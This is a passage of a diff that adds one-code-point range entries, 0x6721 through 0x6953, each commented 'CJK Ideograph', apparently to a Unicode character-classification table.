+ [0x6721, 0x6721], /* CJK Ideograph */
+ [0x6722, 0x6722], /* CJK Ideograph */
+ [0x6723, 0x6723], /* CJK Ideograph */
+ [0x6724, 0x6724], /* CJK Ideograph */
+ [0x6725, 0x6725], /* CJK Ideograph */
+ [0x6726, 0x6726], /* CJK Ideograph */
+ [0x6727, 0x6727], /* CJK Ideograph */
+ [0x6728, 0x6728], /* CJK Ideograph */
+ [0x6729, 0x6729], /* CJK Ideograph */
+ [0x672a, 0x672a], /* CJK Ideograph */
+ [0x672b, 0x672b], /* CJK Ideograph */
+ [0x672c, 0x672c], /* CJK Ideograph */
+ [0x672d, 0x672d], /* CJK Ideograph */
+ [0x672e, 0x672e], /* CJK Ideograph */
+ [0x672f, 0x672f], /* CJK Ideograph */
+ [0x6730, 0x6730], /* CJK Ideograph */
+ [0x6731, 0x6731], /* CJK Ideograph */
+ [0x6732, 0x6732], /* CJK Ideograph */
+ [0x6733, 0x6733], /* CJK Ideograph */
+ [0x6734, 0x6734], /* CJK Ideograph */
+ [0x6735, 0x6735], /* CJK Ideograph */
+ [0x6736, 0x6736], /* CJK Ideograph */
+ [0x6737, 0x6737], /* CJK Ideograph */
+ [0x6738, 0x6738], /* CJK Ideograph */
+ [0x6739, 0x6739], /* CJK Ideograph */
+ [0x673a, 0x673a], /* CJK Ideograph */
+ [0x673b, 0x673b], /* CJK Ideograph */
+ [0x673c, 0x673c], /* CJK Ideograph */
+ [0x673d, 0x673d], /* CJK Ideograph */
+ [0x673e, 0x673e], /* CJK Ideograph */
+ [0x673f, 0x673f], /* CJK Ideograph */
+ [0x6740, 0x6740], /* CJK Ideograph */
+ [0x6741, 0x6741], /* CJK Ideograph */
+ [0x6742, 0x6742], /* CJK Ideograph */
+ [0x6743, 0x6743], /* CJK Ideograph */
+ [0x6744, 0x6744], /* CJK Ideograph */
+ [0x6745, 0x6745], /* CJK Ideograph */
+ [0x6746, 0x6746], /* CJK Ideograph */
+ [0x6747, 0x6747], /* CJK Ideograph */
+ [0x6748, 0x6748], /* CJK Ideograph */
+ [0x6749, 0x6749], /* CJK Ideograph */
+ [0x674a, 0x674a], /* CJK Ideograph */
+ [0x674b, 0x674b], /* CJK Ideograph */
+ [0x674c, 0x674c], /* CJK Ideograph */
+ [0x674d, 0x674d], /* CJK Ideograph */
+ [0x674e, 0x674e], /* CJK Ideograph */
+ [0x674f, 0x674f], /* CJK Ideograph */
+ [0x6750, 0x6750], /* CJK Ideograph */
+ [0x6751, 0x6751], /* CJK Ideograph */
+ [0x6752, 0x6752], /* CJK Ideograph */
+ [0x6753, 0x6753], /* CJK Ideograph */
+ [0x6754, 0x6754], /* CJK Ideograph */
+ [0x6755, 0x6755], /* CJK Ideograph */
+ [0x6756, 0x6756], /* CJK Ideograph */
+ [0x6757, 0x6757], /* CJK Ideograph */
+ [0x6758, 0x6758], /* CJK Ideograph */
+ [0x6759, 0x6759], /* CJK Ideograph */
+ [0x675a, 0x675a], /* CJK Ideograph */
+ [0x675b, 0x675b], /* CJK Ideograph */
+ [0x675c, 0x675c], /* CJK Ideograph */
+ [0x675d, 0x675d], /* CJK Ideograph */
+ [0x675e, 0x675e], /* CJK Ideograph */
+ [0x675f, 0x675f], /* CJK Ideograph */
+ [0x6760, 0x6760], /* CJK Ideograph */
+ [0x6761, 0x6761], /* CJK Ideograph */
+ [0x6762, 0x6762], /* CJK Ideograph */
+ [0x6763, 0x6763], /* CJK Ideograph */
+ [0x6764, 0x6764], /* CJK Ideograph */
+ [0x6765, 0x6765], /* CJK Ideograph */
+ [0x6766, 0x6766], /* CJK Ideograph */
+ [0x6767, 0x6767], /* CJK Ideograph */
+ [0x6768, 0x6768], /* CJK Ideograph */
+ [0x6769, 0x6769], /* CJK Ideograph */
+ [0x676a, 0x676a], /* CJK Ideograph */
+ [0x676b, 0x676b], /* CJK Ideograph */
+ [0x676c, 0x676c], /* CJK Ideograph */
+ [0x676d, 0x676d], /* CJK Ideograph */
+ [0x676e, 0x676e], /* CJK Ideograph */
+ [0x676f, 0x676f], /* CJK Ideograph */
+ [0x6770, 0x6770], /* CJK Ideograph */
+ [0x6771, 0x6771], /* CJK Ideograph */
+ [0x6772, 0x6772], /* CJK Ideograph */
+ [0x6773, 0x6773], /* CJK Ideograph */
+ [0x6774, 0x6774], /* CJK Ideograph */
+ [0x6775, 0x6775], /* CJK Ideograph */
+ [0x6776, 0x6776], /* CJK Ideograph */
+ [0x6777, 0x6777], /* CJK Ideograph */
+ [0x6778, 0x6778], /* CJK Ideograph */
+ [0x6779, 0x6779], /* CJK Ideograph */
+ [0x677a, 0x677a], /* CJK Ideograph */
+ [0x677b, 0x677b], /* CJK Ideograph */
+ [0x677c, 0x677c], /* CJK Ideograph */
+ [0x677d, 0x677d], /* CJK Ideograph */
+ [0x677e, 0x677e], /* CJK Ideograph */
+ [0x677f, 0x677f], /* CJK Ideograph */
+ [0x6780, 0x6780], /* CJK Ideograph */
+ [0x6781, 0x6781], /* CJK Ideograph */
+ [0x6782, 0x6782], /* CJK Ideograph */
+ [0x6783, 0x6783], /* CJK Ideograph */
+ [0x6784, 0x6784], /* CJK Ideograph */
+ [0x6785, 0x6785], /* CJK Ideograph */
+ [0x6786, 0x6786], /* CJK Ideograph */
+ [0x6787, 0x6787], /* CJK Ideograph */
+ [0x6788, 0x6788], /* CJK Ideograph */
+ [0x6789, 0x6789], /* CJK Ideograph */
+ [0x678a, 0x678a], /* CJK Ideograph */
+ [0x678b, 0x678b], /* CJK Ideograph */
+ [0x678c, 0x678c], /* CJK Ideograph */
+ [0x678d, 0x678d], /* CJK Ideograph */
+ [0x678e, 0x678e], /* CJK Ideograph */
+ [0x678f, 0x678f], /* CJK Ideograph */
+ [0x6790, 0x6790], /* CJK Ideograph */
+ [0x6791, 0x6791], /* CJK Ideograph */
+ [0x6792, 0x6792], /* CJK Ideograph */
+ [0x6793, 0x6793], /* CJK Ideograph */
+ [0x6794, 0x6794], /* CJK Ideograph */
+ [0x6795, 0x6795], /* CJK Ideograph */
+ [0x6796, 0x6796], /* CJK Ideograph */
+ [0x6797, 0x6797], /* CJK Ideograph */
+ [0x6798, 0x6798], /* CJK Ideograph */
+ [0x6799, 0x6799], /* CJK Ideograph */
+ [0x679a, 0x679a], /* CJK Ideograph */
+ [0x679b, 0x679b], /* CJK Ideograph */
+ [0x679c, 0x679c], /* CJK Ideograph */
+ [0x679d, 0x679d], /* CJK Ideograph */
+ [0x679e, 0x679e], /* CJK Ideograph */
+ [0x679f, 0x679f], /* CJK Ideograph */
+ [0x67a0, 0x67a0], /* CJK Ideograph */
+ [0x67a1, 0x67a1], /* CJK Ideograph */
+ [0x67a2, 0x67a2], /* CJK Ideograph */
+ [0x67a3, 0x67a3], /* CJK Ideograph */
+ [0x67a4, 0x67a4], /* CJK Ideograph */
+ [0x67a5, 0x67a5], /* CJK Ideograph */
+ [0x67a6, 0x67a6], /* CJK Ideograph */
+ [0x67a7, 0x67a7], /* CJK Ideograph */
+ [0x67a8, 0x67a8], /* CJK Ideograph */
+ [0x67a9, 0x67a9], /* CJK Ideograph */
+ [0x67aa, 0x67aa], /* CJK Ideograph */
+ [0x67ab, 0x67ab], /* CJK Ideograph */
+ [0x67ac, 0x67ac], /* CJK Ideograph */
+ [0x67ad, 0x67ad], /* CJK Ideograph */
+ [0x67ae, 0x67ae], /* CJK Ideograph */
+ [0x67af, 0x67af], /* CJK Ideograph */
+ [0x67b0, 0x67b0], /* CJK Ideograph */
+ [0x67b1, 0x67b1], /* CJK Ideograph */
+ [0x67b2, 0x67b2], /* CJK Ideograph */
+ [0x67b3, 0x67b3], /* CJK Ideograph */
+ [0x67b4, 0x67b4], /* CJK Ideograph */
+ [0x67b5, 0x67b5], /* CJK Ideograph */
+ [0x67b6, 0x67b6], /* CJK Ideograph */
+ [0x67b7, 0x67b7], /* CJK Ideograph */
+ [0x67b8, 0x67b8], /* CJK Ideograph */
+ [0x67b9, 0x67b9], /* CJK Ideograph */
+ [0x67ba, 0x67ba], /* CJK Ideograph */
+ [0x67bb, 0x67bb], /* CJK Ideograph */
+ [0x67bc, 0x67bc], /* CJK Ideograph */
+ [0x67bd, 0x67bd], /* CJK Ideograph */
+ [0x67be, 0x67be], /* CJK Ideograph */
+ [0x67bf, 0x67bf], /* CJK Ideograph */
+ [0x67c0, 0x67c0], /* CJK Ideograph */
+ [0x67c1, 0x67c1], /* CJK Ideograph */
+ [0x67c2, 0x67c2], /* CJK Ideograph */
+ [0x67c3, 0x67c3], /* CJK Ideograph */
+ [0x67c4, 0x67c4], /* CJK Ideograph */
+ [0x67c5, 0x67c5], /* CJK Ideograph */
+ [0x67c6, 0x67c6], /* CJK Ideograph */
+ [0x67c7, 0x67c7], /* CJK Ideograph */
+ [0x67c8, 0x67c8], /* CJK Ideograph */
+ [0x67c9, 0x67c9], /* CJK Ideograph */
+ [0x67ca, 0x67ca], /* CJK Ideograph */
+ [0x67cb, 0x67cb], /* CJK Ideograph */
+ [0x67cc, 0x67cc], /* CJK Ideograph */
+ [0x67cd, 0x67cd], /* CJK Ideograph */
+ [0x67ce, 0x67ce], /* CJK Ideograph */
+ [0x67cf, 0x67cf], /* CJK Ideograph */
+ [0x67d0, 0x67d0], /* CJK Ideograph */
+ [0x67d1, 0x67d1], /* CJK Ideograph */
+ [0x67d2, 0x67d2], /* CJK Ideograph */
+ [0x67d3, 0x67d3], /* CJK Ideograph */
+ [0x67d4, 0x67d4], /* CJK Ideograph */
+ [0x67d5, 0x67d5], /* CJK Ideograph */
+ [0x67d6, 0x67d6], /* CJK Ideograph */
+ [0x67d7, 0x67d7], /* CJK Ideograph */
+ [0x67d8, 0x67d8], /* CJK Ideograph */
+ [0x67d9, 0x67d9], /* CJK Ideograph */
+ [0x67da, 0x67da], /* CJK Ideograph */
+ [0x67db, 0x67db], /* CJK Ideograph */
+ [0x67dc, 0x67dc], /* CJK Ideograph */
+ [0x67dd, 0x67dd], /* CJK Ideograph */
+ [0x67de, 0x67de], /* CJK Ideograph */
+ [0x67df, 0x67df], /* CJK Ideograph */
+ [0x67e0, 0x67e0], /* CJK Ideograph */
+ [0x67e1, 0x67e1], /* CJK Ideograph */
+ [0x67e2, 0x67e2], /* CJK Ideograph */
+ [0x67e3, 0x67e3], /* CJK Ideograph */
+ [0x67e4, 0x67e4], /* CJK Ideograph */
+ [0x67e5, 0x67e5], /* CJK Ideograph */
+ [0x67e6, 0x67e6], /* CJK Ideograph */
+ [0x67e7, 0x67e7], /* CJK Ideograph */
+ [0x67e8, 0x67e8], /* CJK Ideograph */
+ [0x67e9, 0x67e9], /* CJK Ideograph */
+ [0x67ea, 0x67ea], /* CJK Ideograph */
+ [0x67eb, 0x67eb], /* CJK Ideograph */
+ [0x67ec, 0x67ec], /* CJK Ideograph */
+ [0x67ed, 0x67ed], /* CJK Ideograph */
+ [0x67ee, 0x67ee], /* CJK Ideograph */
+ [0x67ef, 0x67ef], /* CJK Ideograph */
+ [0x67f0, 0x67f0], /* CJK Ideograph */
+ [0x67f1, 0x67f1], /* CJK Ideograph */
+ [0x67f2, 0x67f2], /* CJK Ideograph */
+ [0x67f3, 0x67f3], /* CJK Ideograph */
+ [0x67f4, 0x67f4], /* CJK Ideograph */
+ [0x67f5, 0x67f5], /* CJK Ideograph */
+ [0x67f6, 0x67f6], /* CJK Ideograph */
+ [0x67f7, 0x67f7], /* CJK Ideograph */
+ [0x67f8, 0x67f8], /* CJK Ideograph */
+ [0x67f9, 0x67f9], /* CJK Ideograph */
+ [0x67fa, 0x67fa], /* CJK Ideograph */
+ [0x67fb, 0x67fb], /* CJK Ideograph */
+ [0x67fc, 0x67fc], /* CJK Ideograph */
+ [0x67fd, 0x67fd], /* CJK Ideograph */
+ [0x67fe, 0x67fe], /* CJK Ideograph */
+ [0x67ff, 0x67ff], /* CJK Ideograph */
+ [0x6800, 0x6800], /* CJK Ideograph */
+ [0x6801, 0x6801], /* CJK Ideograph */
+ [0x6802, 0x6802], /* CJK Ideograph */
+ [0x6803, 0x6803], /* CJK Ideograph */
+ [0x6804, 0x6804], /* CJK Ideograph */
+ [0x6805, 0x6805], /* CJK Ideograph */
+ [0x6806, 0x6806], /* CJK Ideograph */
+ [0x6807, 0x6807], /* CJK Ideograph */
+ [0x6808, 0x6808], /* CJK Ideograph */
+ [0x6809, 0x6809], /* CJK Ideograph */
+ [0x680a, 0x680a], /* CJK Ideograph */
+ [0x680b, 0x680b], /* CJK Ideograph */
+ [0x680c, 0x680c], /* CJK Ideograph */
+ [0x680d, 0x680d], /* CJK Ideograph */
+ [0x680e, 0x680e], /* CJK Ideograph */
+ [0x680f, 0x680f], /* CJK Ideograph */
+ [0x6810, 0x6810], /* CJK Ideograph */
+ [0x6811, 0x6811], /* CJK Ideograph */
+ [0x6812, 0x6812], /* CJK Ideograph */
+ [0x6813, 0x6813], /* CJK Ideograph */
+ [0x6814, 0x6814], /* CJK Ideograph */
+ [0x6815, 0x6815], /* CJK Ideograph */
+ [0x6816, 0x6816], /* CJK Ideograph */
+ [0x6817, 0x6817], /* CJK Ideograph */
+ [0x6818, 0x6818], /* CJK Ideograph */
+ [0x6819, 0x6819], /* CJK Ideograph */
+ [0x681a, 0x681a], /* CJK Ideograph */
+ [0x681b, 0x681b], /* CJK Ideograph */
+ [0x681c, 0x681c], /* CJK Ideograph */
+ [0x681d, 0x681d], /* CJK Ideograph */
+ [0x681e, 0x681e], /* CJK Ideograph */
+ [0x681f, 0x681f], /* CJK Ideograph */
+ [0x6820, 0x6820], /* CJK Ideograph */
+ [0x6821, 0x6821], /* CJK Ideograph */
+ [0x6822, 0x6822], /* CJK Ideograph */
+ [0x6823, 0x6823], /* CJK Ideograph */
+ [0x6824, 0x6824], /* CJK Ideograph */
+ [0x6825, 0x6825], /* CJK Ideograph */
+ [0x6826, 0x6826], /* CJK Ideograph */
+ [0x6827, 0x6827], /* CJK Ideograph */
+ [0x6828, 0x6828], /* CJK Ideograph */
+ [0x6829, 0x6829], /* CJK Ideograph */
+ [0x682a, 0x682a], /* CJK Ideograph */
+ [0x682b, 0x682b], /* CJK Ideograph */
+ [0x682c, 0x682c], /* CJK Ideograph */
+ [0x682d, 0x682d], /* CJK Ideograph */
+ [0x682e, 0x682e], /* CJK Ideograph */
+ [0x682f, 0x682f], /* CJK Ideograph */
+ [0x6830, 0x6830], /* CJK Ideograph */
+ [0x6831, 0x6831], /* CJK Ideograph */
+ [0x6832, 0x6832], /* CJK Ideograph */
+ [0x6833, 0x6833], /* CJK Ideograph */
+ [0x6834, 0x6834], /* CJK Ideograph */
+ [0x6835, 0x6835], /* CJK Ideograph */
+ [0x6836, 0x6836], /* CJK Ideograph */
+ [0x6837, 0x6837], /* CJK Ideograph */
+ [0x6838, 0x6838], /* CJK Ideograph */
+ [0x6839, 0x6839], /* CJK Ideograph */
+ [0x683a, 0x683a], /* CJK Ideograph */
+ [0x683b, 0x683b], /* CJK Ideograph */
+ [0x683c, 0x683c], /* CJK Ideograph */
+ [0x683d, 0x683d], /* CJK Ideograph */
+ [0x683e, 0x683e], /* CJK Ideograph */
+ [0x683f, 0x683f], /* CJK Ideograph */
+ [0x6840, 0x6840], /* CJK Ideograph */
+ [0x6841, 0x6841], /* CJK Ideograph */
+ [0x6842, 0x6842], /* CJK Ideograph */
+ [0x6843, 0x6843], /* CJK Ideograph */
+ [0x6844, 0x6844], /* CJK Ideograph */
+ [0x6845, 0x6845], /* CJK Ideograph */
+ [0x6846, 0x6846], /* CJK Ideograph */
+ [0x6847, 0x6847], /* CJK Ideograph */
+ [0x6848, 0x6848], /* CJK Ideograph */
+ [0x6849, 0x6849], /* CJK Ideograph */
+ [0x684a, 0x684a], /* CJK Ideograph */
+ [0x684b, 0x684b], /* CJK Ideograph */
+ [0x684c, 0x684c], /* CJK Ideograph */
+ [0x684d, 0x684d], /* CJK Ideograph */
+ [0x684e, 0x684e], /* CJK Ideograph */
+ [0x684f, 0x684f], /* CJK Ideograph */
+ [0x6850, 0x6850], /* CJK Ideograph */
+ [0x6851, 0x6851], /* CJK Ideograph */
+ [0x6852, 0x6852], /* CJK Ideograph */
+ [0x6853, 0x6853], /* CJK Ideograph */
+ [0x6854, 0x6854], /* CJK Ideograph */
+ [0x6855, 0x6855], /* CJK Ideograph */
+ [0x6856, 0x6856], /* CJK Ideograph */
+ [0x6857, 0x6857], /* CJK Ideograph */
+ [0x6858, 0x6858], /* CJK Ideograph */
+ [0x6859, 0x6859], /* CJK Ideograph */
+ [0x685a, 0x685a], /* CJK Ideograph */
+ [0x685b, 0x685b], /* CJK Ideograph */
+ [0x685c, 0x685c], /* CJK Ideograph */
+ [0x685d, 0x685d], /* CJK Ideograph */
+ [0x685e, 0x685e], /* CJK Ideograph */
+ [0x685f, 0x685f], /* CJK Ideograph */
+ [0x6860, 0x6860], /* CJK Ideograph */
+ [0x6861, 0x6861], /* CJK Ideograph */
+ [0x6862, 0x6862], /* CJK Ideograph */
+ [0x6863, 0x6863], /* CJK Ideograph */
+ [0x6864, 0x6864], /* CJK Ideograph */
+ [0x6865, 0x6865], /* CJK Ideograph */
+ [0x6866, 0x6866], /* CJK Ideograph */
+ [0x6867, 0x6867], /* CJK Ideograph */
+ [0x6868, 0x6868], /* CJK Ideograph */
+ [0x6869, 0x6869], /* CJK Ideograph */
+ [0x686a, 0x686a], /* CJK Ideograph */
+ [0x686b, 0x686b], /* CJK Ideograph */
+ [0x686c, 0x686c], /* CJK Ideograph */
+ [0x686d, 0x686d], /* CJK Ideograph */
+ [0x686e, 0x686e], /* CJK Ideograph */
+ [0x686f, 0x686f], /* CJK Ideograph */
+ [0x6870, 0x6870], /* CJK Ideograph */
+ [0x6871, 0x6871], /* CJK Ideograph */
+ [0x6872, 0x6872], /* CJK Ideograph */
+ [0x6873, 0x6873], /* CJK Ideograph */
+ [0x6874, 0x6874], /* CJK Ideograph */
+ [0x6875, 0x6875], /* CJK Ideograph */
+ [0x6876, 0x6876], /* CJK Ideograph */
+ [0x6877, 0x6877], /* CJK Ideograph */
+ [0x6878, 0x6878], /* CJK Ideograph */
+ [0x6879, 0x6879], /* CJK Ideograph */
+ [0x687a, 0x687a], /* CJK Ideograph */
+ [0x687b, 0x687b], /* CJK Ideograph */
+ [0x687c, 0x687c], /* CJK Ideograph */
+ [0x687d, 0x687d], /* CJK Ideograph */
+ [0x687e, 0x687e], /* CJK Ideograph */
+ [0x687f, 0x687f], /* CJK Ideograph */
+ [0x6880, 0x6880], /* CJK Ideograph */
+ [0x6881, 0x6881], /* CJK Ideograph */
+ [0x6882, 0x6882], /* CJK Ideograph */
+ [0x6883, 0x6883], /* CJK Ideograph */
+ [0x6884, 0x6884], /* CJK Ideograph */
+ [0x6885, 0x6885], /* CJK Ideograph */
+ [0x6886, 0x6886], /* CJK Ideograph */
+ [0x6887, 0x6887], /* CJK Ideograph */
+ [0x6888, 0x6888], /* CJK Ideograph */
+ [0x6889, 0x6889], /* CJK Ideograph */
+ [0x688a, 0x688a], /* CJK Ideograph */
+ [0x688b, 0x688b], /* CJK Ideograph */
+ [0x688c, 0x688c], /* CJK Ideograph */
+ [0x688d, 0x688d], /* CJK Ideograph */
+ [0x688e, 0x688e], /* CJK Ideograph */
+ [0x688f, 0x688f], /* CJK Ideograph */
+ [0x6890, 0x6890], /* CJK Ideograph */
+ [0x6891, 0x6891], /* CJK Ideograph */
+ [0x6892, 0x6892], /* CJK Ideograph */
+ [0x6893, 0x6893], /* CJK Ideograph */
+ [0x6894, 0x6894], /* CJK Ideograph */
+ [0x6895, 0x6895], /* CJK Ideograph */
+ [0x6896, 0x6896], /* CJK Ideograph */
+ [0x6897, 0x6897], /* CJK Ideograph */
+ [0x6898, 0x6898], /* CJK Ideograph */
+ [0x6899, 0x6899], /* CJK Ideograph */
+ [0x689a, 0x689a], /* CJK Ideograph */
+ [0x689b, 0x689b], /* CJK Ideograph */
+ [0x689c, 0x689c], /* CJK Ideograph */
+ [0x689d, 0x689d], /* CJK Ideograph */
+ [0x689e, 0x689e], /* CJK Ideograph */
+ [0x689f, 0x689f], /* CJK Ideograph */
+ [0x68a0, 0x68a0], /* CJK Ideograph */
+ [0x68a1, 0x68a1], /* CJK Ideograph */
+ [0x68a2, 0x68a2], /* CJK Ideograph */
+ [0x68a3, 0x68a3], /* CJK Ideograph */
+ [0x68a4, 0x68a4], /* CJK Ideograph */
+ [0x68a5, 0x68a5], /* CJK Ideograph */
+ [0x68a6, 0x68a6], /* CJK Ideograph */
+ [0x68a7, 0x68a7], /* CJK Ideograph */
+ [0x68a8, 0x68a8], /* CJK Ideograph */
+ [0x68a9, 0x68a9], /* CJK Ideograph */
+ [0x68aa, 0x68aa], /* CJK Ideograph */
+ [0x68ab, 0x68ab], /* CJK Ideograph */
+ [0x68ac, 0x68ac], /* CJK Ideograph */
+ [0x68ad, 0x68ad], /* CJK Ideograph */
+ [0x68ae, 0x68ae], /* CJK Ideograph */
+ [0x68af, 0x68af], /* CJK Ideograph */
+ [0x68b0, 0x68b0], /* CJK Ideograph */
+ [0x68b1, 0x68b1], /* CJK Ideograph */
+ [0x68b2, 0x68b2], /* CJK Ideograph */
+ [0x68b3, 0x68b3], /* CJK Ideograph */
+ [0x68b4, 0x68b4], /* CJK Ideograph */
+ [0x68b5, 0x68b5], /* CJK Ideograph */
+ [0x68b6, 0x68b6], /* CJK Ideograph */
+ [0x68b7, 0x68b7], /* CJK Ideograph */
+ [0x68b8, 0x68b8], /* CJK Ideograph */
+ [0x68b9, 0x68b9], /* CJK Ideograph */
+ [0x68ba, 0x68ba], /* CJK Ideograph */
+ [0x68bb, 0x68bb], /* CJK Ideograph */
+ [0x68bc, 0x68bc], /* CJK Ideograph */
+ [0x68bd, 0x68bd], /* CJK Ideograph */
+ [0x68be, 0x68be], /* CJK Ideograph */
+ [0x68bf, 0x68bf], /* CJK Ideograph */
+ [0x68c0, 0x68c0], /* CJK Ideograph */
+ [0x68c1, 0x68c1], /* CJK Ideograph */
+ [0x68c2, 0x68c2], /* CJK Ideograph */
+ [0x68c3, 0x68c3], /* CJK Ideograph */
+ [0x68c4, 0x68c4], /* CJK Ideograph */
+ [0x68c5, 0x68c5], /* CJK Ideograph */
+ [0x68c6, 0x68c6], /* CJK Ideograph */
+ [0x68c7, 0x68c7], /* CJK Ideograph */
+ [0x68c8, 0x68c8], /* CJK Ideograph */
+ [0x68c9, 0x68c9], /* CJK Ideograph */
+ [0x68ca, 0x68ca], /* CJK Ideograph */
+ [0x68cb, 0x68cb], /* CJK Ideograph */
+ [0x68cc, 0x68cc], /* CJK Ideograph */
+ [0x68cd, 0x68cd], /* CJK Ideograph */
+ [0x68ce, 0x68ce], /* CJK Ideograph */
+ [0x68cf, 0x68cf], /* CJK Ideograph */
+ [0x68d0, 0x68d0], /* CJK Ideograph */
+ [0x68d1, 0x68d1], /* CJK Ideograph */
+ [0x68d2, 0x68d2], /* CJK Ideograph */
+ [0x68d3, 0x68d3], /* CJK Ideograph */
+ [0x68d4, 0x68d4], /* CJK Ideograph */
+ [0x68d5, 0x68d5], /* CJK Ideograph */
+ [0x68d6, 0x68d6], /* CJK Ideograph */
+ [0x68d7, 0x68d7], /* CJK Ideograph */
+ [0x68d8, 0x68d8], /* CJK Ideograph */
+ [0x68d9, 0x68d9], /* CJK Ideograph */
+ [0x68da, 0x68da], /* CJK Ideograph */
+ [0x68db, 0x68db], /* CJK Ideograph */
+ [0x68dc, 0x68dc], /* CJK Ideograph */
+ [0x68dd, 0x68dd], /* CJK Ideograph */
+ [0x68de, 0x68de], /* CJK Ideograph */
+ [0x68df, 0x68df], /* CJK Ideograph */
+ [0x68e0, 0x68e0], /* CJK Ideograph */
+ [0x68e1, 0x68e1], /* CJK Ideograph */
+ [0x68e2, 0x68e2], /* CJK Ideograph */
+ [0x68e3, 0x68e3], /* CJK Ideograph */
+ [0x68e4, 0x68e4], /* CJK Ideograph */
+ [0x68e5, 0x68e5], /* CJK Ideograph */
+ [0x68e6, 0x68e6], /* CJK Ideograph */
+ [0x68e7, 0x68e7], /* CJK Ideograph */
+ [0x68e8, 0x68e8], /* CJK Ideograph */
+ [0x68e9, 0x68e9], /* CJK Ideograph */
+ [0x68ea, 0x68ea], /* CJK Ideograph */
+ [0x68eb, 0x68eb], /* CJK Ideograph */
+ [0x68ec, 0x68ec], /* CJK Ideograph */
+ [0x68ed, 0x68ed], /* CJK Ideograph */
+ [0x68ee, 0x68ee], /* CJK Ideograph */
+ [0x68ef, 0x68ef], /* CJK Ideograph */
+ [0x68f0, 0x68f0], /* CJK Ideograph */
+ [0x68f1, 0x68f1], /* CJK Ideograph */
+ [0x68f2, 0x68f2], /* CJK Ideograph */
+ [0x68f3, 0x68f3], /* CJK Ideograph */
+ [0x68f4, 0x68f4], /* CJK Ideograph */
+ [0x68f5, 0x68f5], /* CJK Ideograph */
+ [0x68f6, 0x68f6], /* CJK Ideograph */
+ [0x68f7, 0x68f7], /* CJK Ideograph */
+ [0x68f8, 0x68f8], /* CJK Ideograph */
+ [0x68f9, 0x68f9], /* CJK Ideograph */
+ [0x68fa, 0x68fa], /* CJK Ideograph */
+ [0x68fb, 0x68fb], /* CJK Ideograph */
+ [0x68fc, 0x68fc], /* CJK Ideograph */
+ [0x68fd, 0x68fd], /* CJK Ideograph */
+ [0x68fe, 0x68fe], /* CJK Ideograph */
+ [0x68ff, 0x68ff], /* CJK Ideograph */
+ [0x6900, 0x6900], /* CJK Ideograph */
+ [0x6901, 0x6901], /* CJK Ideograph */
+ [0x6902, 0x6902], /* CJK Ideograph */
+ [0x6903, 0x6903], /* CJK Ideograph */
+ [0x6904, 0x6904], /* CJK Ideograph */
+ [0x6905, 0x6905], /* CJK Ideograph */
+ [0x6906, 0x6906], /* CJK Ideograph */
+ [0x6907, 0x6907], /* CJK Ideograph */
+ [0x6908, 0x6908], /* CJK Ideograph */
+ [0x6909, 0x6909], /* CJK Ideograph */
+ [0x690a, 0x690a], /* CJK Ideograph */
+ [0x690b, 0x690b], /* CJK Ideograph */
+ [0x690c, 0x690c], /* CJK Ideograph */
+ [0x690d, 0x690d], /* CJK Ideograph */
+ [0x690e, 0x690e], /* CJK Ideograph */
+ [0x690f, 0x690f], /* CJK Ideograph */
+ [0x6910, 0x6910], /* CJK Ideograph */
+ [0x6911, 0x6911], /* CJK Ideograph */
+ [0x6912, 0x6912], /* CJK Ideograph */
+ [0x6913, 0x6913], /* CJK Ideograph */
+ [0x6914, 0x6914], /* CJK Ideograph */
+ [0x6915, 0x6915], /* CJK Ideograph */
+ [0x6916, 0x6916], /* CJK Ideograph */
+ [0x6917, 0x6917], /* CJK Ideograph */
+ [0x6918, 0x6918], /* CJK Ideograph */
+ [0x6919, 0x6919], /* CJK Ideograph */
+ [0x691a, 0x691a], /* CJK Ideograph */
+ [0x691b, 0x691b], /* CJK Ideograph */
+ [0x691c, 0x691c], /* CJK Ideograph */
+ [0x691d, 0x691d], /* CJK Ideograph */
+ [0x691e, 0x691e], /* CJK Ideograph */
+ [0x691f, 0x691f], /* CJK Ideograph */
+ [0x6920, 0x6920], /* CJK Ideograph */
+ [0x6921, 0x6921], /* CJK Ideograph */
+ [0x6922, 0x6922], /* CJK Ideograph */
+ [0x6923, 0x6923], /* CJK Ideograph */
+ [0x6924, 0x6924], /* CJK Ideograph */
+ [0x6925, 0x6925], /* CJK Ideograph */
+ [0x6926, 0x6926], /* CJK Ideograph */
+ [0x6927, 0x6927], /* CJK Ideograph */
+ [0x6928, 0x6928], /* CJK Ideograph */
+ [0x6929, 0x6929], /* CJK Ideograph */
+ [0x692a, 0x692a], /* CJK Ideograph */
+ [0x692b, 0x692b], /* CJK Ideograph */
+ [0x692c, 0x692c], /* CJK Ideograph */
+ [0x692d, 0x692d], /* CJK Ideograph */
+ [0x692e, 0x692e], /* CJK Ideograph */
+ [0x692f, 0x692f], /* CJK Ideograph */
+ [0x6930, 0x6930], /* CJK Ideograph */
+ [0x6931, 0x6931], /* CJK Ideograph */
+ [0x6932, 0x6932], /* CJK Ideograph */
+ [0x6933, 0x6933], /* CJK Ideograph */
+ [0x6934, 0x6934], /* CJK Ideograph */
+ [0x6935, 0x6935], /* CJK Ideograph */
+ [0x6936, 0x6936], /* CJK Ideograph */
+ [0x6937, 0x6937], /* CJK Ideograph */
+ [0x6938, 0x6938], /* CJK Ideograph */
+ [0x6939, 0x6939], /* CJK Ideograph */
+ [0x693a, 0x693a], /* CJK Ideograph */
+ [0x693b, 0x693b], /* CJK Ideograph */
+ [0x693c, 0x693c], /* CJK Ideograph */
+ [0x693d, 0x693d], /* CJK Ideograph */
+ [0x693e, 0x693e], /* CJK Ideograph */
+ [0x693f, 0x693f], /* CJK Ideograph */
+ [0x6940, 0x6940], /* CJK Ideograph */
+ [0x6941, 0x6941], /* CJK Ideograph */
+ [0x6942, 0x6942], /* CJK Ideograph */
+ [0x6943, 0x6943], /* CJK Ideograph */
+ [0x6944, 0x6944], /* CJK Ideograph */
+ [0x6945, 0x6945], /* CJK Ideograph */
+ [0x6946, 0x6946], /* CJK Ideograph */
+ [0x6947, 0x6947], /* CJK Ideograph */
+ [0x6948, 0x6948], /* CJK Ideograph */
+ [0x6949, 0x6949], /* CJK Ideograph */
+ [0x694a, 0x694a], /* CJK Ideograph */
+ [0x694b, 0x694b], /* CJK Ideograph */
+ [0x694c, 0x694c], /* CJK Ideograph */
+ [0x694d, 0x694d], /* CJK Ideograph */
+ [0x694e, 0x694e], /* CJK Ideograph */
+ [0x694f, 0x694f], /* CJK Ideograph */
+ [0x6950, 0x6950], /* CJK Ideograph */
+ [0x6951, 0x6951], /* CJK Ideograph */
+ [0x6952, 0x6952], /* CJK Ideograph */
+ [0x6953, 0x6953], /* CJK Ideograph */
